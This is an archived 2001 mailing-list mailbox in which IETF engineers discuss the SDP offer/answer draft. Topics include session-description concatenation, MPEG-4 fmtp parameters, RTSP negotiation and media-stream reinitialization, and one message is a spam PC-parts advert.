From confctrl-owner  Tue Dec  4 22:37:07 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id WAA15519
	for confctrl-outgoing; Tue, 4 Dec 2001 22:37:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA15514
	for <confctrl@zephyr.isi.edu>; Tue, 4 Dec 2001 22:37:07 -0800 (PST)
Received: from purple.nge.isi.edu (reserved.east.isi.edu [65.114.168.32])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB56bmg03808
	for <confctrl@ISI.EDU>; Tue, 4 Dec 2001 22:37:49 -0800 (PST)
Received: from purple.nge.isi.edu (localhost [127.0.0.1])
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fB56a3501466;
	Wed, 5 Dec 2001 01:36:03 -0500
Message-Id: <200112050636.fB56a3501466@purple.nge.isi.edu>
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
cc: "'Flemming Andreasen'" <fandreas@cisco.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        MMUSIC <confctrl@ISI.EDU>
Subject: Re: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt> 
In-Reply-To: Your message of "Tue, 04 Dec 2001 12:33:06 EST."
             <B65B4F8437968F488A01A940B21982BF020D70E8@DYN-EXCH-001.dynamicsoft.com> 
Date: Wed, 05 Dec 2001 01:36:02 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Jonathan Rosenberg writes:
...
>> - Section 2 mentions that SDP allows for concatenation of multiple
>> session descriptions. I can't seem to find this in the SDP 
>> spec - where
>> does it say that ?
>
>Page 7:
>
>   When SDP is conveyed by SAP, only one session description is allowed
>   per packet.  When SDP is conveyed by other means, many SDP session
>   descriptions may be concatenated together (the `v=' line indicating
>   the start of a session description terminates the previous
>   description). 

This was one of the changes in sdp-new: SDP is now silent on the issue of
concatenation, since that seemed more appropriately specified as part of
the transport of SDP.

Are people happy with this change? I can revert it if not...

Colin

From confctrl-owner  Tue Dec  4 22:59:35 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA16410
	for confctrl-outgoing; Tue, 4 Dec 2001 22:59:35 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA16405
	for <confctrl@zephyr.isi.edu>; Tue, 4 Dec 2001 22:59:34 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB570Fg11188;
	Tue, 4 Dec 2001 23:00:15 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fB56vX4I012740;
	Wed, 5 Dec 2001 01:57:33 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9Y7PT>; Wed, 5 Dec 2001 01:59:02 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF020D7104@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Colin Perkins'" <csp@ISI.EDU>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: "'Flemming Andreasen'" <fandreas@cisco.com>,
        Henning Schulzrinne
	 <schulzrinne@cs.columbia.edu>,
        MMUSIC <confctrl@ISI.EDU>
Subject: RE: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt> 
Date: Wed, 5 Dec 2001 01:59:01 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Colin Perkins [mailto:csp@ISI.EDU]
> Sent: Wednesday, December 05, 2001 1:36 AM
> To: Jonathan Rosenberg
> Cc: 'Flemming Andreasen'; Henning Schulzrinne; MMUSIC
> Subject: Re: Comments on
> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt> 
> 
> 
> --> Jonathan Rosenberg writes:
> ...
> >> - Section 2 mentions that SDP allows for concatenation of multiple
> >> session descriptions. I can't seem to find this in the SDP 
> >> spec - where
> >> does it say that ?
> >
> >Page 7:
> >
> >   When SDP is conveyed by SAP, only one session description 
> is allowed
> >   per packet.  When SDP is conveyed by other means, many SDP session
> >   descriptions may be concatenated together (the `v=' line 
> indicating
> >   the start of a session description terminates the previous
> >   description). 
> 
> This was one of the changes in sdp-new: SDP is now silent on 
> the issue of
> concatenation, since that seemed more appropriately specified 
> as part of
> the transport of SDP.
> 
> Are people happy with this change? I can revert it if not...

I think thats good. This fits well with offer-answer, which basically says
that for O/A transport, its not used.

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Wed Dec  5 00:17:31 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA19415
	for confctrl-outgoing; Wed, 5 Dec 2001 00:17:31 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA19407
	for <confctrl@zephyr.isi.edu>; Wed, 5 Dec 2001 00:17:29 -0800 (PST)
Received: from mail10.hispeedhosting.com (mail10.hispeedhosting.com [64.27.65.29])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB58IBg27223
	for <confctrl@isi.edu>; Wed, 5 Dec 2001 00:18:11 -0800 (PST)
Received: from mail.isi.edu [209.216.65.145] by mail10.hispeedhosting.com
  (SMTPD32-6.06) id A83712C00CA; Wed, 05 Dec 2001 03:17:59 -0500
From: NeedPcParts.com@ISI.EDU
Date: Wed, 05 Dec 2001 03:12:11
To: confctrl@ISI.EDU
Subject: Christmas Specials
MIME-Version: 1.0
Content-Type: text/plain;charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-Id: <200112050318460.SM00996@mail.isi.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I would like to introduce you to our company, www.NeedPcParts.com

We sell everything Computer & Network related.

>From A: Drives to Zip Drives

>From a single Computer Cable to a Custom Built System.

If its Computer related we have it and at the very best price around.

We have been in business for 10 Years, Let us show you why our 
customers love us soooo much...

We offer 2 year Warranty on all CPU & Motherboard Combo's

We offer Lifetime Warranty on all Memory

We will Custom build any Server or System you want for a $45 Flat 
Fee. & Include a 2 Year Parts & Labor Warranty!!!

We do not charge a handling fee when shipping, We ship 99% of all 
items within 24 Hrs. We Ship Via UPS.

Thank you for your time.

Just in time for Christmas !!!
 
Duron 800 System
Biostar Motherboard
Video & Sound 
128Mb SDRAM
40G Hard Drive
250 W ATX Case
56X CD Rom
Floppy Drive
Speakers 
Keyboard & Mouse
Windows XP
$420
 
Monitor Not included... Price quoted is for parts, if you want us to build it add $45...
As always you can add or take away anything you want.
 
AMD Athlon 1 Gig System
Motherboard
Sound/Video/Modem/Networking
128Mb SDRAM
40G Hard Drive
250 W ATX Case
CDRW
Floppy Drive
Speakers 
Keyboard & Mouse
Windows XP
$508
 
Monitor Not included... Price quoted is for parts, if you want us to build it add $45...
As always you can add or take away anything you want.
 
Intel Pentium 4 1.4G System
DFI Motherboard 
128Mb Rambus Memory
40G Hard Drive
32Mb ATI Video Card
Sound Blaster Live 5.1 
300W ATX Case
CDRW
Floppy Drive
Speakers 
Keyboard & Mouse
Windows XP
$712
 
Monitor Not included... Price quoted is for parts, if you want us to build it add $45...
As always you can add or take away anything you want.
 
AMD XP 1500 System
ASUS A7A 266 Motherboard
256Mb DDR RAM
40G Hard Drive
16X DVD Player
16x10x40 CDRW
32Mb ATI Video Card
300W ATX Case
Floppy Drive
Speakers W/ Subwoofer
Microsoft Keyboard & Intelli Mouse
Windows XP
$849
 
Monitor Not included... Price quoted is for parts, if you want us to build it add $45...
As always you can add or take away anything you want.
 
15" Color Monitor $115
17" Color Monitor $137
19" Color Monitor $199
 
8x4x32 CDRW $68
16x10x40 CDRW $89
16X DVD $63
 
www.NeedPcParts.com 
1-800-361-5448
Ref. Email 120301


 
 
   
 

  
   
 
 

Contact us Emailto:sales@NeedPcParts.com

Call Toll Free : 1-800-361-5448

Website: www.NeedPcParts.com


From confctrl-owner  Wed Dec  5 01:27:31 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA22090
	for confctrl-outgoing; Wed, 5 Dec 2001 01:27:31 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA22085
	for <confctrl@zephyr.isi.edu>; Wed, 5 Dec 2001 01:27:30 -0800 (PST)
Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB59SAg09926;
	Wed, 5 Dec 2001 01:28:10 -0800 (PST)
Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35])
	by mgw-x2.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fB59SrA26313;
	Wed, 5 Dec 2001 11:28:53 +0200 (EET)
Received: from esebh24nok.ntc.nokia.com (unverified) by esvir03nok.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T57a32b7596ac158f2304f@esvir03nok.nokia.com>;
 Wed, 5 Dec 2001 11:28:09 +0200
Received: by esebh24nok with Internet Mail Service (5.5.2652.78)
	id <YGAJ3LDF>; Wed, 5 Dec 2001 11:28:07 +0200
Message-ID: <B519AC26B144EF479CFB036F7B84E7C8117D2B@trebe006.NOE.Nokia.com>
From: emre.aksu@nokia.com
To: csp@ISI.EDU, jdrosen@dynamicsoft.com
Cc: fandreas@cisco.com, schulzrinne@cs.columbia.edu, confctrl@ISI.EDU
Subject: RE: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt> 
Date: Wed, 5 Dec 2001 11:27:55 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.78)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

> -----Original Message-----
> From: ext Colin Perkins [mailto:csp@ISI.EDU]
> Sent: 05. December 2001 8:36
> To: Jonathan Rosenberg
> Cc: 'Flemming Andreasen'; Henning Schulzrinne; MMUSIC
> Subject: Re: Comments on
> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt> 
> 
> 
> --> Jonathan Rosenberg writes:
> ...
> >> - Section 2 mentions that SDP allows for concatenation of multiple
> >> session descriptions. I can't seem to find this in the SDP 
> >> spec - where
> >> does it say that ?
> >
> >Page 7:
> >
> >   When SDP is conveyed by SAP, only one session description 
> is allowed
> >   per packet.  When SDP is conveyed by other means, many SDP session
> >   descriptions may be concatenated together (the `v=' line 
> indicating
> >   the start of a session description terminates the previous
> >   description). 
> 
> This was one of the changes in sdp-new: SDP is now silent on 
> the issue of
> concatenation,

Does this mean that multiple SDP session description concatenation is NOT
allowed anymore, or is the decision totally left to the upper level control
protocol which uses SDP, e.g. RTSP, SIP, SAP?

> since that seemed more appropriately specified 
> as part of
> the transport of SDP.
>

At least in 3GPP, multiple SDP decriptions in RTSP DESCRIBE response is one
of the concerns, but RTSP does not define anything related to multiple SDP
descriptions. The usage is totally inherited from the SDP. If this sentence
is taken out in SDP-new, then RTSP spec or the 3GPP-related spec has to be
changed for the transport of SDP. Am I correct?

-Emre

From confctrl-owner  Wed Dec  5 06:01:29 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA02374
	for confctrl-outgoing; Wed, 5 Dec 2001 06:01:29 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA02369
	for <confctrl@zephyr.isi.edu>; Wed, 5 Dec 2001 06:01:28 -0800 (PST)
Received: from gw-nl4.philips.com (gw-nl4.philips.com [212.153.190.6])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB5E2Ag15639
	for <confctrl@ISI.EDU>; Wed, 5 Dec 2001 06:02:10 -0800 (PST)
Received: from smtpscan-nl1.philips.com (localhost.philips.com [127.0.0.1])
          by gw-nl4.philips.com with ESMTP id PAA09311;
          Wed, 5 Dec 2001 15:02:01 +0100 (CET)
          (envelope-from philippe.gentric@philips.com)
From: philippe.gentric@philips.com
Received: from smtpscan-nl1.philips.com(130.139.36.21) by gw-nl4.philips.com via mwrap (4.0a)
	id xma009309; Wed, 5 Dec 01 15:02:01 +0100
Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id PAA00885; Wed, 5 Dec 2001 15:01:58 +0100 (MET)
Received: from notessmtp-nl1.philips.com (notessmtp-nl1.philips.com [130.139.36.10]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id PAA06692; Wed, 5 Dec 2001 15:01:57 +0100 (MET)
Received: from hbg001soh.diamond.philips.com (e1soh01.diamond.philips.com [130.143.165.212]) 
	by notessmtp-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id PAA15465; Wed, 5 Dec 2001 15:01:56 +0100 (MET)
MIME-Version: 1.0
To: jdrosen@dynamicsoft.com
Cc: schulzrinne@cs.columbia.edu, confctrl@ISI.EDU
Subject: RE: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
X-Mailer: Lotus Notes Release 5.0.6a  January 17, 2001
Message-ID: <OFF97A8E3F.692B255A-ONC1256B19.004601A5@diamond.philips.com>
Date: Wed, 5 Dec 2001 14:58:43 +0100
X-MIMETrack: Serialize by Router on hbg001soh/H/SERVER/PHILIPS(Release 5.0.5 |September
 22, 2000) at 05/12/2001 15:19:06,
	Serialize complete at 05/12/2001 15:19:06
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

*******************

you write "The list of payload types for each media stream conveys two 
pieces of
   information, namely the set of codecs that the offerer is capable of
   sending and/or receiving..."

my concern is that this description of the "codec" is *only* the mime 
type,

however for several recent RTP payload formats 
the mime type is "too vague" an indication:
AMR, MPEG-4 video, MPEG-4 AAC, MPEG-4 CELP ...
they all have to be described with more that the payload type.
Typically at the minimum a  mime parameter
(in MPEG-4 the profile-level-id) is required for a
fruitful negociation... because the mime type encompasses
a sometimes quite large number of very different configurations ...

I think it is possible to allow for any number of
mime parameters to be added using a a=fmtp line:
as in the following (modified) example

 v=0
   o=alice 2890844526 2890844526 IN IP4 host.anywhere.com
   s=New board design
   e=alice@foo.org
   t=0 0
   c=IN IP4 host.anywhere.com
   m=audio 49170 RTP/AVP 0
   a=rtpmap:0 PCMU/8000
   m=video 51372 RTP/AVP 31
   a=rtpmap:31 H261/90000
   m=video 53000 RTP/AVP 32
   a=rtpmap:32 MPV/90000
   m=video 55000 RTP/AVP 33
   a=fmtp:33  profile-level-id=1
   a=rtpmap:33 MPEG4-GENERIC/90000


what do you think ?

*************************

In a similar fashion what about the bandwidth indication ?
(same stream, different bit rate)

   m=video 55000 RTP/AVP 33
   a=fmtp:33  profile-level-id=1
   b=AS:64
   a=rtpmap:33 MPEG4-GENERIC/90000
   m=video 55000 RTP/AVP 34
   a=fmtp:34  profile-level-id=1
   b=AS:32
   a=rtpmap:34 MPEG4-GENERIC/90000


*************************

you do not mention RTSP explicitely in the text.

I would like to understand if this draft could support such a thing i.e. a 
scenario
where a video on demand server, upon a RTSP describe
sends back an "offer" listing a number of choices for a given movie
that the client will pick from for example using a SET_PARAMETER
with Accept: application/sdp as in:


     C->S: DESCRIBE rtsp://example.com/fizzle/foo RTSP/1.0
           CSeq: 1

     M->C: RTSP/1.0 200 OK
           CSeq: 1
           Content-Type: application/sdp
           Content-Length: 164

           << put the SDP offer here >>

     C->S: SET_PARAMETER rtsp://example.com/fizzle/foo RTSP/1.0
           CSeq: 2
           Content-type: application/sdp
           Content-length: 28

           sdp-answer: << put the SDP answer here>>

     S->C: RTSP/1.0 OK 200 OK
           CSeq: 2


Could we also define the "sdp-answer" key word in your draft ?

*****************************

I understand that the limit to the number of different configurations
that can be thus "offered" is the number of dynamic payload types,
which is not a lot. 

Is that correct ?


Regards,


Philippe Gentric
Software architect
Philips Digital Networks - MP4Net
51 rue Carnot B.P. 301
92156 Suresnes FRANCE
tel: +33(0)147283740
fax: +33(0)147283725
philippe.gentric@philips.com
http://www.mpeg-4.philips.com




From confctrl-owner  Wed Dec  5 06:38:01 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA03636
	for confctrl-outgoing; Wed, 5 Dec 2001 06:38:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA03631
	for <confctrl@zephyr.isi.edu>; Wed, 5 Dec 2001 06:38:01 -0800 (PST)
Received: from purple.nge.isi.edu (reserved.east.isi.edu [65.114.168.32])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB5Ecgg24701
	for <confctrl@ISI.EDU>; Wed, 5 Dec 2001 06:38:42 -0800 (PST)
Received: from purple.nge.isi.edu (localhost [127.0.0.1])
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fB5Ebe502691;
	Wed, 5 Dec 2001 09:37:41 -0500
Message-Id: <200112051437.fB5Ebe502691@purple.nge.isi.edu>
To: emre.aksu@nokia.com
cc: jdrosen@dynamicsoft.com, fandreas@cisco.com, schulzrinne@cs.columbia.edu,
        confctrl@ISI.EDU
Subject: Re: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt> 
In-Reply-To: Your message of "Wed, 05 Dec 2001 11:27:55 +0200."
             <B519AC26B144EF479CFB036F7B84E7C8117D2B@trebe006.NOE.Nokia.com> 
Date: Wed, 05 Dec 2001 09:37:40 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> emre.aksu@nokia.com writes:
>Hi,
>
>> -----Original Message-----
>> From: ext Colin Perkins [mailto:csp@ISI.EDU]
>> Sent: 05. December 2001 8:36
>> To: Jonathan Rosenberg
>> Cc: 'Flemming Andreasen'; Henning Schulzrinne; MMUSIC
>> Subject: Re: Comments on
>> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt> 
>> 
>> 
>> --> Jonathan Rosenberg writes:
>> ...
>> >> - Section 2 mentions that SDP allows for concatenation of multiple
>> >> session descriptions. I can't seem to find this in the SDP 
>> >> spec - where
>> >> does it say that ?
>> >
>> >Page 7:
>> >
>> >   When SDP is conveyed by SAP, only one session description 
>> is allowed
>> >   per packet.  When SDP is conveyed by other means, many SDP session
>> >   descriptions may be concatenated together (the `v=' line 
>> indicating
>> >   the start of a session description terminates the previous
>> >   description). 
>> 
>> This was one of the changes in sdp-new: SDP is now silent on 
>> the issue of
>> concatenation,
>
>Does this mean that multiple SDP session description concatenation is NOT
>allowed anymore, or is the decision totally left to the upper level control
>protocol which uses SDP, e.g. RTSP, SIP, SAP?

The SDPnew draft says nothing about concatenation, so it would be up to the
upper layer to specify. 

>> since that seemed more appropriately specified 
>> as part of
>> the transport of SDP.
>>
>
>At least in 3GPP, multiple SDP decriptions in RTSP DESCRIBE response is one
>of the concerns, but RTSP does not define anything related to multiple SDP
>descriptions. The usage is totally inherited from the SDP. If this sentence
>is taken out in SDP-new, then RTSP spec or the 3GPP-related spec has to be
>changed for the transport of SDP. Am I correct?

Yes. We have to decide if the change to the protocols which use SDP is
worthwhile, or if we should just revert the change in SDP.

Since it seems that different users of SDP do different things here, I
think it should be specified by the user; but there may be other
considerations.

Colin

From confctrl-owner  Wed Dec  5 08:33:03 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA07891
	for confctrl-outgoing; Wed, 5 Dec 2001 08:33:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA07886
	for <confctrl@zephyr.isi.edu>; Wed, 5 Dec 2001 08:33:02 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB5GXjg29388
	for <confctrl@ISI.EDU>; Wed, 5 Dec 2001 08:33:45 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fB5GVu4I014984;
	Wed, 5 Dec 2001 11:31:56 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9Y8QC>; Wed, 5 Dec 2001 11:33:26 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF020D7113@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: confctrl@ISI.EDU
Subject: RE: draft-rosenberg-mmusic-sdp-offer-answer-00
Date: Wed, 5 Dec 2001 11:33:25 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Paul - thanks for your read through and comments. Responses inline.
 

> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Friday, October 26, 2001 4:08 PM
> To: Jonathan Rosenberg
> Cc: confctrl@ISI.EDU
> Subject: draft-rosenberg-mmusic-sdp-offer-answer-00
> 
> 
> Jonathan,
> 
> It is good to see this material factored out of the sip rfc.
> 
> I have a few comments after an initial skimming:
> 
> 1) An issue came up in discussions of the comedia draft regarding
> semantics of modifying a session. The latest comedia draft has a
> solution for it, but it seems a more general problem and perhaps it
> deserves a general solution here.

Its not clear that offer/answer is the best place either. After all,
wouldn't the issue arise with a SAP-delivered announcement too (not for TCP
connections, but for initialization of parameters)?

> 
> The problem is that some media streams may require 
> initialization before
> first use. When a session description is modified, there then 
> arises the
> question of whether a particular media stream requires
> re-initialization. (For instance, when negotiating a TCP session with
> comedia, a connection must be established between the two endpoints.)

Actually, lets get specific here. Besides tcp initialization, what kind of
initialization needs to happen that is not provided itself within the codec
(i.e., an H.263 encode could send all intra frame to reinitialize the state
of the frame at the decoder)? No need to solve a theoretical problem
only.....
 
> 
> - If an entire session description is unchanged, as 
> determined by the o=
> line, then it can be assumed that nothing has changed and
> reinitialization is not required.
> 
> - If the o= line is changed, then it may be assumed that individual
> media sections that have changed require re-initialization. But there
> remains the issue of media sections that have not changed. Since
> modification of a single media section requires a complete description
> of all media to be sent, it follows that any unchanged media sections
> will seem to be unchanged. Presumably these should not be 
> reinitialized.
> 
> - However, there are cases when it may be important to request
> reinitialization without changing any of the information in a media
> section. For instance, if one participant has difficulty 
> sending but not
> receiving, it may believe the other participant is having difficulty,
> and wish to send a reinvite to force reinitialization. But it may
> wish/need to use the same information in its own offer. In this case,
> the other participant will not be able to distinguish that this is a
> request to reinitialize rather than a no-op modification.
> 
> One possible solution to this problem is to permit the use of the o=
> line within individual media descriptions as well as 
> globally. When used
> within a an individual media description, this would have the same
> semantics as globally, but would apply only to the one media
> description. To initiate a reinitialization, one could send a new
> description with only the o= line for the medium in question 
> changed. Of
> course this is a change to SDP. But it seems preferable to one-off
> solutions to this for different media.

If something was needed beyond the a=reuse which is already described in the
comedia draft, I would prefer to simply define an explicit attribute that
conveys what you want, like a=initialize or something. However, I'm not
convinced that this is needed.

> 
> 2) A nit in section 2.1. It starts off with: "The offer MUST contain
> zero or more media sections." This is a pretty rough condition to
> conform to. 

Rough? Actually, its impossible to define an SDP that doesn't comply; maybe
that is what you mean?

It might be said more directly as something like: 
> "The offer
> MAY contain one or more media sections. An offer with no 
> media sessions
> implies..."

OK. I will fix.

> 
> 3) Section 2.1 is also heavily biased towards RTP based media
> descriptions containing payload type descriptions. The descriptions of
> how to process and interpret payload types and codecs really should be
> qualified so it is clear they apply only to the RTP transport. For
> instance, a=rtpmap is only appropriate for RTP transport.

The section is most definitely speific to RTP transport; its hard to
generalize this or talk about other things since not much has been defined
besides RTP. I will try, however, to do that.


> 
> 4) Section 2.1 also discusses the semantics of multiple media 
> streams of
> the same type, and says that the same source should be sent to each of
> these streams. This seems quite restrictive, and covers semantics that
> are the subject of the FID semantics in 
> draft-ietf-mmusic-fid-05. In the
> absence of the notation from that draft, it seems wrong to assume that
> the different media streams will contain the same content.

Thats true. The spec is trying to define behavior in absence of the FID
parameters. I could reference FID to say "FID overrides this behavior", but
that is going to introduce another draft dependency, and its not clear its
needed.

When there are no FID parameters, the distinction, I think, is whether you
offer multiple streams or answer multiple streams offered to you.

So, lets say you have a system that has two separate audio sources. You
invite someone else, and you include an SDP with two media streams, each for
audio. In that case, you would send each source as a different stream. A
device with multiple sources knows to offer multiple sources and therefore
knows how to map those sources to streams.

However, lets say you have a device that only has a single audio source. You
receive an offer with two audio streams. The spec is trying to say that you
should accept both, and copy your source to both streams. Now, don't ask me
what to do if you are a system with two sources, and you receive an offer
with three audio streams; thats what FID is for. Without it, its not clear
what to do. We could make it a policy decision, so that an endpoint can
choose which of its sources to send on each stream. If there is only one
source, there is only one reasonable policy, send that source on all
streams.

-Jonathan R.
 

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Wed Dec  5 09:11:24 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA09511
	for confctrl-outgoing; Wed, 5 Dec 2001 09:11:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA09506
	for <confctrl@zephyr.isi.edu>; Wed, 5 Dec 2001 09:11:23 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB5HC6g16940
	for <confctrl@isi.edu>; Wed, 5 Dec 2001 09:12:06 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fB5H9x4I015290;
	Wed, 5 Dec 2001 12:09:59 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9Y84L>; Wed, 5 Dec 2001 12:11:29 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF020D7115@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Cc: "'sip@ietf.org'" <sip@ietf.org>
Subject: changing of media types allowed in offer/answer and SIP open issu
	e #24
Date: Wed, 5 Dec 2001 12:11:28 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

draft-rosenberg-mmusic-sdp-offer-answer-00.txt currently says:

 The media type (audio, video, etc.) for a stream MAY be changed. This
   is particularly useful for changing between voice and fax in a single
   stream, which are both separate media types. To do this, the offerer
   creates a new media description, with a new media type, in place of
   the description in the previous SDP which is to be changed. The IP
   address and port for the stream MAY change, or MAY remain the same.
   However, the list of payload type numbers for the new codecs MUST be
   different than any used previously for this stream.

This is somewhat linked to the current sip open issue #24 about whether or
not you can reuse a media stream "slot" which has been previously disabled
with port=0. After all, changing the media type is really the same, more or
less, as using a new media stream in place of where an old one was. I think
leaning of consensus in the sip group was to disallow such reuse (although I
can't remember at this moment what the reasoning was), and that would argue
for removing the above capability. 

Comments or thoughts on this?

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com
 

From confctrl-owner  Wed Dec  5 10:54:01 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA19432
	for confctrl-outgoing; Wed, 5 Dec 2001 10:54:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
